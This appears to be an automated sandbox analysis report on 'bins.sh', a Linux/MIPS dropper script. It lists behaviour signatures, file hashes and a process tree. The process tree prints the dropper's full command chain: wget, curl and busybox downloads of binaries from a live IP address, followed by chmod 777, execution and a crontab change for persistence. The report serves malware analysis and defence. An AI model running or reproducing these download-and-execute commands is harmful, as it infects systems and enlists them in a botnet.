Analysis

  • max time kernel
    149s
  • max time network
    151s
  • platform
    debian-9_mipsel
  • resource
    debian9-mipsel-20240729-en
  • resource tags

    arch:mipselimage:debian9-mipsel-20240729-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipselsystem
  • submitted
    09-11-2024 13:46

General

  • Target

    bins.sh

  • Size

    10KB

  • MD5

    db199d59ba08e033c581aecba2219c42

  • SHA1

    469f462f64f7554cfb806ffec3c825e6b2d2cd61

  • SHA256

    483b8ef88573fcd07bcbebbd9493eb7821f86e77cd499adcb534b5f9fee9f5f3

  • SHA512

    03ca54d3480cdd7c3a98c177eb51675650624e33bb1bc55876c3eb44ab24749530df58c439a1f1dc88d62cb6d2b12b4ea885ac0e896d0aa747f86a2a5959a04c

  • SSDEEP

    192:nSWLaKmTJJo+oMYFCi/AJZwn7mCMYFCikJZwn7XSWLaKTL:QTJJo+eKyL

Malware Config

Signatures

  • Contacts a large (2003) amount of remote hosts 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • Creates a large amount of network flows 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • File and Directory Permissions Modification 1 TTPs 8 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 8 IoCs
  • Renames itself 1 IoCs
  • Creates/modifies Cron job 1 TTPs 1 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

  • Writes file to tmp directory 16 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/bins.sh
    /tmp/bins.sh
    1⤵
      PID:706
      • /bin/rm
        /bin/rm bins.sh
        2⤵
          PID:710
        • /usr/bin/wget
          wget http://87.120.84.230/bins/DgY18nfKIcdThLn44egYEVQOYhsN0XsUVY
          2⤵
          • Writes file to tmp directory
          PID:712
        • /usr/bin/curl
          curl -O http://87.120.84.230/bins/DgY18nfKIcdThLn44egYEVQOYhsN0XsUVY
          2⤵
          • Writes file to tmp directory
          PID:733
        • /bin/busybox
          /bin/busybox wget http://87.120.84.230/bins/DgY18nfKIcdThLn44egYEVQOYhsN0XsUVY
          2⤵
          • Writes file to tmp directory
          PID:737
        • /bin/chmod
          chmod 777 DgY18nfKIcdThLn44egYEVQOYhsN0XsUVY
          2⤵
          • File and Directory Permissions Modification
          PID:738
        • /tmp/DgY18nfKIcdThLn44egYEVQOYhsN0XsUVY
          ./DgY18nfKIcdThLn44egYEVQOYhsN0XsUVY
          2⤵
          • Executes dropped EXE
          PID:739
        • /bin/rm
          rm DgY18nfKIcdThLn44egYEVQOYhsN0XsUVY
          2⤵
            PID:741
          • /usr/bin/wget
            wget http://87.120.84.230/bins/EPTMqMUa11TlOYpKaU3Qr0OvF12s1xDC8Y
            2⤵
            • Writes file to tmp directory
            PID:742
          • /usr/bin/curl
            curl -O http://87.120.84.230/bins/EPTMqMUa11TlOYpKaU3Qr0OvF12s1xDC8Y
            2⤵
            • Reads runtime system information
            • Writes file to tmp directory
            PID:743
          • /bin/busybox
            /bin/busybox wget http://87.120.84.230/bins/EPTMqMUa11TlOYpKaU3Qr0OvF12s1xDC8Y
            2⤵
            • Writes file to tmp directory
            PID:744
          • /bin/chmod
            chmod 777 EPTMqMUa11TlOYpKaU3Qr0OvF12s1xDC8Y
            2⤵
            • File and Directory Permissions Modification
            PID:745
          • /tmp/EPTMqMUa11TlOYpKaU3Qr0OvF12s1xDC8Y
            ./EPTMqMUa11TlOYpKaU3Qr0OvF12s1xDC8Y
            2⤵
            • Executes dropped EXE
            PID:746
          • /bin/rm
            rm EPTMqMUa11TlOYpKaU3Qr0OvF12s1xDC8Y
            2⤵
              PID:748
            • /usr/bin/wget
              wget http://87.120.84.230/bins/z5OQVlI8YxHb1rKpxTUnEuGlZyKikO59WA
              2⤵
              • Writes file to tmp directory
              PID:749
            • /usr/bin/curl
              curl -O http://87.120.84.230/bins/z5OQVlI8YxHb1rKpxTUnEuGlZyKikO59WA
              2⤵
              • Writes file to tmp directory
              PID:756
            • /bin/busybox
              /bin/busybox wget http://87.120.84.230/bins/z5OQVlI8YxHb1rKpxTUnEuGlZyKikO59WA
              2⤵
              • Writes file to tmp directory
              PID:769
            • /bin/chmod
              chmod 777 z5OQVlI8YxHb1rKpxTUnEuGlZyKikO59WA
              2⤵
              • File and Directory Permissions Modification
              PID:772
            • /tmp/z5OQVlI8YxHb1rKpxTUnEuGlZyKikO59WA
              ./z5OQVlI8YxHb1rKpxTUnEuGlZyKikO59WA
              2⤵
              • Executes dropped EXE
              PID:773
            • /bin/rm
              rm z5OQVlI8YxHb1rKpxTUnEuGlZyKikO59WA
              2⤵
                PID:777
              • /usr/bin/wget
                wget http://87.120.84.230/bins/JwRisDYuAmHoD7iQW00ABVCz5ZyH8MXQ6f
                2⤵
                • Writes file to tmp directory
                PID:778
              • /usr/bin/curl
                curl -O http://87.120.84.230/bins/JwRisDYuAmHoD7iQW00ABVCz5ZyH8MXQ6f
                2⤵
                • Writes file to tmp directory
                PID:789
              • /bin/busybox
                /bin/busybox wget http://87.120.84.230/bins/JwRisDYuAmHoD7iQW00ABVCz5ZyH8MXQ6f
                2⤵
                • Writes file to tmp directory
                PID:802
              • /bin/chmod
                chmod 777 JwRisDYuAmHoD7iQW00ABVCz5ZyH8MXQ6f
                2⤵
                • File and Directory Permissions Modification
                PID:804
              • /tmp/JwRisDYuAmHoD7iQW00ABVCz5ZyH8MXQ6f
                ./JwRisDYuAmHoD7iQW00ABVCz5ZyH8MXQ6f
                2⤵
                • Executes dropped EXE
                • Renames itself
                • Reads runtime system information
                PID:805
                • /bin/sh
                  sh -c "crontab -l"
                  3⤵
                    PID:807
                    • /usr/bin/crontab
                      crontab -l
                      4⤵
                        PID:808
                    • /bin/sh
                      sh -c "crontab -"
                      3⤵
                        PID:809
                        • /usr/bin/crontab
                          crontab -
                          4⤵
                          • Creates/modifies Cron job
                          PID:810
                    • /bin/rm
                      rm JwRisDYuAmHoD7iQW00ABVCz5ZyH8MXQ6f
                      2⤵
                        PID:812
                      • /usr/bin/wget
                        wget http://87.120.84.230/bins/e9jKHdDKImGWljC5EvIEqyRWKPbUqZGkbq
                        2⤵
                          PID:815
                        • /usr/bin/curl
                          curl -O http://87.120.84.230/bins/e9jKHdDKImGWljC5EvIEqyRWKPbUqZGkbq
                          2⤵
                            PID:816
                          • /bin/busybox
                            /bin/busybox wget http://87.120.84.230/bins/e9jKHdDKImGWljC5EvIEqyRWKPbUqZGkbq
                            2⤵
                            • Writes file to tmp directory
                            PID:817
                          • /bin/chmod
                            chmod 777 e9jKHdDKImGWljC5EvIEqyRWKPbUqZGkbq
                            2⤵
                            • File and Directory Permissions Modification
                            PID:910
                          • /tmp/e9jKHdDKImGWljC5EvIEqyRWKPbUqZGkbq
                            ./e9jKHdDKImGWljC5EvIEqyRWKPbUqZGkbq
                            2⤵
                            • Executes dropped EXE
                            PID:911
                          • /bin/rm
                            rm e9jKHdDKImGWljC5EvIEqyRWKPbUqZGkbq
                            2⤵
                              PID:913
                            • /usr/bin/wget
                              wget http://87.120.84.230/bins/64T3lXPAlQhTDUaFGQmgwI29SnP1CUemlg
                              2⤵
                                PID:914
                              • /usr/bin/curl
                                curl -O http://87.120.84.230/bins/64T3lXPAlQhTDUaFGQmgwI29SnP1CUemlg
                                2⤵
                                  PID:915
                                • /bin/busybox
                                  /bin/busybox wget http://87.120.84.230/bins/64T3lXPAlQhTDUaFGQmgwI29SnP1CUemlg
                                  2⤵
                                  • Writes file to tmp directory
                                  PID:916
                                • /bin/chmod
                                  chmod 777 64T3lXPAlQhTDUaFGQmgwI29SnP1CUemlg
                                  2⤵
                                  • File and Directory Permissions Modification
                                  PID:917
                                • /tmp/64T3lXPAlQhTDUaFGQmgwI29SnP1CUemlg
                                  ./64T3lXPAlQhTDUaFGQmgwI29SnP1CUemlg
                                  2⤵
                                  • Executes dropped EXE
                                  PID:918
                                • /bin/rm
                                  rm 64T3lXPAlQhTDUaFGQmgwI29SnP1CUemlg
                                  2⤵
                                    PID:920
                                  • /usr/bin/wget
                                    wget http://87.120.84.230/bins/reG21Tzcz9iRfNu2Pql8M5DKiBBcerOQDj
                                    2⤵
                                      PID:921
                                    • /usr/bin/curl
                                      curl -O http://87.120.84.230/bins/reG21Tzcz9iRfNu2Pql8M5DKiBBcerOQDj
                                      2⤵
                                        PID:922
                                      • /bin/busybox
                                        /bin/busybox wget http://87.120.84.230/bins/reG21Tzcz9iRfNu2Pql8M5DKiBBcerOQDj
                                        2⤵
                                        • Writes file to tmp directory
                                        PID:923
                                      • /bin/chmod
                                        chmod 777 reG21Tzcz9iRfNu2Pql8M5DKiBBcerOQDj
                                        2⤵
                                        • File and Directory Permissions Modification
                                        PID:930
                                      • /tmp/reG21Tzcz9iRfNu2Pql8M5DKiBBcerOQDj
                                        ./reG21Tzcz9iRfNu2Pql8M5DKiBBcerOQDj
                                        2⤵
                                        • Executes dropped EXE
                                        PID:932
                                      • /bin/rm
                                        rm reG21Tzcz9iRfNu2Pql8M5DKiBBcerOQDj
                                        2⤵
                                          PID:935
                                        • /usr/bin/wget
                                          wget http://87.120.84.230/bins/JaVmaYjjOd0D0lpn4SpRabDztV5ARwE69K
                                          2⤵
                                            PID:936
                                          • /usr/bin/curl
                                            curl -O http://87.120.84.230/bins/JaVmaYjjOd0D0lpn4SpRabDztV5ARwE69K
                                            2⤵
                                              PID:943
                                            • /bin/busybox
                                              /bin/busybox wget http://87.120.84.230/bins/JaVmaYjjOd0D0lpn4SpRabDztV5ARwE69K
                                              2⤵
                                              • Writes file to tmp directory
                                              PID:946
                                            • /bin/chmod
                                              chmod 777 JaVmaYjjOd0D0lpn4SpRabDztV5ARwE69K
                                              2⤵
                                              • File and Directory Permissions Modification
                                              PID:955
                                            • /tmp/JaVmaYjjOd0D0lpn4SpRabDztV5ARwE69K
                                              ./JaVmaYjjOd0D0lpn4SpRabDztV5ARwE69K
                                              2⤵
                                              • Executes dropped EXE
                                              PID:956
                                            • /bin/rm
                                              rm JaVmaYjjOd0D0lpn4SpRabDztV5ARwE69K
                                              2⤵
                                                PID:960
                                              • /usr/bin/wget
                                                wget http://87.120.84.230/bins/uiiwwhrmM2YhRU6KcnFOOQPotmW0FQBlz0
                                                2⤵
                                                  PID:961

                                              Network

                                              MITRE ATT&CK Enterprise v15

                                              Replay Monitor

                                              Loading Replay Monitor...

                                              Downloads

                                              • /tmp/64T3lXPAlQhTDUaFGQmgwI29SnP1CUemlg

                                                Filesize

                                                98KB

                                                MD5

                                                5141342d0df8699fa32a6b066a0c592e

                                                SHA1

                                                8157673225bd5182f16215e2aa823a25ca2d4fbc

                                                SHA256

                                                54302d130cd356fb19ea5a763c5ab6b0892fc234118f10ba3196ec4245c83b4d

                                                SHA512

                                                d6b24571e7691227abafc70133a1da007c97c2730c820de77a750d2c140a8a75554cc614b4729debc4ec5480124252737c5846a458a5146005285c6d3f9e3801

                                              • /tmp/DgY18nfKIcdThLn44egYEVQOYhsN0XsUVY

                                                Filesize

                                                119KB

                                                MD5

                                                1b166b95f9cb4b079ef1b9ec8363ddf3

                                                SHA1

                                                0d8eb08add467b3b5474f9b25909297fe7c2839c

                                                SHA256

                                                94a19b33124cbbc1c570b3338f4dfbb2bf1a9335a72acf22be02a9bb8a323cc9

                                                SHA512

                                                983ae0f399df2a6cf1dd48ba09098964c5dcb55b8bd049bce8e9c2c15dd88336642da64908d93221247a64ce987950b05042b0fac8474b179f0b1f7f0aca6925

                                              • /tmp/EPTMqMUa11TlOYpKaU3Qr0OvF12s1xDC8Y

                                                Filesize

                                                111KB

                                                MD5

                                                701e7a55a4f3650f5feee92a9860e5fc

                                                SHA1

                                                6ce4a7f0dc80fe557a0ace4de25e6305af221ed4

                                                SHA256

                                                ff851250b0bd7e6f2c445b08d858d840b554caf75a37ada2a970ea4d317ba588

                                                SHA512

                                                7352517b4af3b0cfe1cc814accf18e6254532f33dee274279bd499b6748aa0ed044c9429d6df0eb07ff0292cd0f9388ce44d278e0c562e6e57110b28a66a5f11

                                              • /tmp/JaVmaYjjOd0D0lpn4SpRabDztV5ARwE69K

                                                Filesize

                                                111KB

                                                MD5

                                                ca897a38f23ec23521ce0b1b83f8422d

                                                SHA1

                                                b8d2ab335346aba9a72bae0fe3533aca1ab7b66a

                                                SHA256

                                                043df61baf17d6a2353b418c5f87eebea4ca1c3fd6b63eaccc34d9bcd0556832

                                                SHA512

                                                10d3026b43167121b62786dde231a04e25eb27905989f59a92b5eba92134e30cea554a73e419d3a505e650ee4c474ee407103df335cd84bd8c0f3428ccc16feb

                                              • /tmp/JwRisDYuAmHoD7iQW00ABVCz5ZyH8MXQ6f

                                                Filesize

                                                151KB

                                                MD5

                                                6c583043d91c55aa470c08c87058e917

                                                SHA1

                                                abf65a5b9bba69980278ad09356e53de8bb89439

                                                SHA256

                                                2d63c81a782853efe672a1d9cb00a339ec57207b4075754a1baf1df9af466948

                                                SHA512

                                                82ee5f3884edc2cb3e68d8634353964cdb991e250b0592a2f80f5ffb738e64860abe6d030aec0d6ab94596c275b478080579fd65b055cc9055e1ef3de6dd59a5

                                              • /tmp/e9jKHdDKImGWljC5EvIEqyRWKPbUqZGkbq

                                                Filesize

                                                112KB

                                                MD5

                                                05d7857dcead18bbd86d2935f591873c

                                                SHA1

                                                34d18f41ef35f93d5364ce3e24d74730a4e91985

                                                SHA256

                                                2cb1fa4742268fb0196613aee7a39a08a0707b3ef8853280d5060c44f3650d70

                                                SHA512

                                                d1793861067758a064ac1d59c80c78f9cb4b64dd680ab4a62dd050156dc0318dde590c7b44c1184c9ee926f73c3fc242662e42645faab6685ecef9d238d2e53e

                                              • /tmp/reG21Tzcz9iRfNu2Pql8M5DKiBBcerOQDj

                                                Filesize

                                                127KB

                                                MD5

                                                89077b7bd4bcafca7713be43635c4862

                                                SHA1

                                                fc02edb8fba29ea8ee99e6157ef8560334530052

                                                SHA256

                                                78416feab0c93152d65acc8f48835520db083cc3aed0aea622b9fb88284dc00d

                                                SHA512

                                                1b457b8f8d452eecaad9013241e50672befb70feb5349f5fa72d62ea1fa8affa968763e6511cc76cdc5bf12f080e4a8f10c8e141ccd0d36794e721d690f2c4b1

                                              • /tmp/z5OQVlI8YxHb1rKpxTUnEuGlZyKikO59WA

                                                Filesize

                                                151KB

                                                MD5

                                                3c90d5820bddcf7c5d1bd21dfa49d958

                                                SHA1

                                                5ba05bd489e50af97d6dc45e3a0be60e494d5083

                                                SHA256

                                                bdebb67266d5f96b7d85cfb9644deee81161b54b60b0fded6cf36544a15fa9b2

                                                SHA512

                                                54a0e2ec10040634100fb5c4bddc35f558471f4ff833f9ad20f16ffd14c286cf251841bdaad7c557c3c78efc2094db91038c195c0ddabdecf9beac97ff2ce01a

                                              • /var/spool/cron/crontabs/tmp.OMfkdD

                                                Filesize

                                                210B

                                                MD5

                                                375e4b47a461d47cc23acde8e66c4f62

                                                SHA1

                                                4bfd2625433fa9c0e981719e90fad81d6545a65b

                                                SHA256

                                                85ddc4a52f46759ae6349a4846c15319347c66c2bd1a3df69cb6d843bffab4ac

                                                SHA512

                                                3eaa0b319d55691bd6ddfc260b639ef1abdd02348112567dc070d29dfc7cd96f300b830344e36abf2a73bf0d9557f9ee9943f59d4dcae070799a33795face7d7